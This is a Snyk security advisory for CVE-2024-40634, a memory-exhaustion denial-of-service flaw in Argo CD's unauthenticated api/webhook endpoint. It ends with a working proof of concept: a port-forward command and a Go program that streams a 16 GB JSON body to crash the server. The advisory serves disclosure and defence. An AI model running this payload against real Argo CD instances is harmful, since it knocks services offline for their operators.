Uncontrolled Resource Consumption ('Resource Exhaustion') Affecting github.com/argoproj/argo-cd/server package, versions *
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Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMARGOPROJARGOCDSERVER-7547442
- published 23 Jul 2024
- disclosed 22 Jul 2024
- credit Jakub Ciolek
Introduced: 22 Jul 2024
CVE-2024-40634 Open this link in a new tabHow to fix?
A fix was pushed into the master branch but not yet published.
Overview
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') through the api/webhook endpoint. An attacker can disrupt service availability by sending a specially crafted large JSON payload that triggers excessive memory allocation, leading to an Out of Memory (OOM) kill.
Note:
The api/webhook endpoint does not require authentication by default.
PoC
Port-forward to the argocd-server service:
kubectl port-forward svc/argocd-server -n argocd 8080:443
Run the below code:
package main
import (
"crypto/tls"
"io"
"net/http"
)
// Define a custom io.Reader that generates a large dummy JSON payload.
type DummyJSONReader struct {
size int64 // Total size to generate
read int64 // Bytes already generated
}
// Read generates the next chunk of the dummy JSON payload.
func (r *DummyJSONReader) Read(p []byte) (n int, err error) {
if r.read >= r.size {
return 0, io.EOF // Finished generating
}
start := false
if r.read == 0 {
// Start of JSON
p[0] = '{'
p[1] = '"'
p[2] = 'd'
p[3] = 'a'
p[4] = 't'
p[5] = 'a'
p[6] = '"'
p[7] = ':'
p[8] = '"'
n = 9
start = true
}
for i := n; i < len(p); i++ {
if r.read+int64(i)-int64(n)+1 == r.size-1 {
// End of JSON
p[i] = '"'
p[i+1] = '}'
r.read += int64(i) + 2 - int64(n)
return i + 2 - n, nil
} else {
p[i] = 'x' // Dummy data
}
}
r.read += int64(len(p)) - int64(n)
if start {
return len(p), nil
}
return len(p) - n, nil
}
func main() {
// Initialize the custom reader with the desired size (16GB in this case).
payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB
reader := &DummyJSONReader{size: payloadSize}
// HTTP client setup
httpClient := &http.Client{
Timeout: 0, // No timeout
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader)
if err != nil {
panic(err)
}
// Set headers
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-GitHub-Event", "push")
resp, err := httpClient.Do(req)
if err != nil {
panic(err)
}
defer resp.Body.Close()
println("Response status code:", resp.StatusCode)
}